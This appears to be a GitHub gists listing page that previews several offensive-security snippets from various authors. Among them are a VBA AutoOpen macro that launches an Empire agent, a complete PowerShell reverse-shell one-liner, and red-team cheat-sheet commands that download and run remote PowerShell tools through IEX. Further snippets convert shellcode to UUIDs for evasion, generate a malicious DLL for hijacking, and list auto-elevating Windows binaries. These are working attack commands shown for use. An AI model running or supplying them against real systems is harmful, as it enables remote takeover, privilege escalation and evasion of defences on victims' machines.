Skip to content

Instantly share code, notes, and snippets.

View hastalamuerte's full-sized avatar
👾
What's happening?

hastalamuerte

👾
What's happening?
View GitHub Profile
using System;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
public class Test
{
@vivami
vivami / Empire_via_rundll-powershdll.vba
Last active April 27, 2023 23:58
VBA macro executing Empire Agent using PowerShdll via rundll
Sub AutoOpen()
Debugging
End Sub
Sub Document_Open()
Debugging
End Sub
Public Function Debugging() As Variant
DownloadDLL
@mgeeky
mgeeky / Various-Macro-Based-RCEs.md
Last active January 14, 2024 16:43
Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine.

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

  1. Page substiution macro for luring user to click Enable Content
  2. The Unicorn Powershell based payload
@egre55
egre55 / powershell_reverse_shell.ps1
Last active July 19, 2024 06:07
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@m8sec
m8sec / RedTeam_CheatSheet.ps1
Last active May 21, 2024 08:42
Red Team CheatSheet
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@MHaggis
MHaggis / RedTeam_CheatSheet.ps1
Created November 25, 2019 16:06 — forked from m8sec/RedTeam_CheatSheet.ps1
Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@TheWover
TheWover / autoelevate-1903.txt
Last active May 20, 2024 16:20
Non-exhaustive list of auto-elevating applications in Windows 10.
Reference: https://www.researchgate.net/publication/319454675_Testing_UAC_on_Windows_10
Get-ChildItem "C:\Windows\System32\*.exe" | Select-String -pattern "<autoElevate>true</autoElevate>"
C:\Windows\System32\bthudtask.exe:78: <autoElevate>true</autoElevate>
C:\Windows\System32\changepk.exe:194: <autoElevate>true</autoElevate>
C:\Windows\System32\ComputerDefaults.exe:308: <autoElevate>true</autoElevate>
C:\Windows\System32\dccw.exe:464: <autoElevate>true</autoElevate>
@ChoiSG
ChoiSG / converToUUID.py
Last active September 28, 2023 10:28
Simple python script to convert shellcode to UUID String
"""
Created for : https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/
Repo: https://github.com/ChoiSG/UuidShellcodeExec
"""
import uuid
def convertToUUID(shellcode):
# If shellcode is not in multiples of 16, then add some nullbytes at the end
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
@klezVirus
klezVirus / evilldll-gen.sh
Last active July 6, 2024 08:32
Simple Malicious DLL Generator for DLL Hijacking Attacks
#!/bin/sh
usage(){
echo "# ################# Simple CPP to DLL Utility ################# #"
echo "# This tool has been maded to easily generate and compile a DLL to be used for DLL hijacking.#"
echo "# #"
echo "# ========================================================================================== #"
echo "# #"
echo "# Usage: #"
echo "# ./dll-gcc [Options] <input-file> #"
@mgeeky
mgeeky / Enumerate-URIHandlers.ps1
Created January 12, 2022 12:24
Enumerate Windows URI Handlers (Keys in HKEY_CLASSES_ROOT that contain "URL Protocol" values), examples: http:, calculator:, ms-officecmd:
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT -ErrorAction SilentlyContinue | Out-Null
$count = 0
try {
Get-ChildItem HKCR: -ErrorAction SilentlyContinue | ForEach-Object {
if((Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).PSObject.Properties.Name -contains "URL Protocol") {
$name = $_.PSChildName
$count += 1
$line = "URI Handler {0:d4}: {1}" -f $count, $name
Write-Host $line
}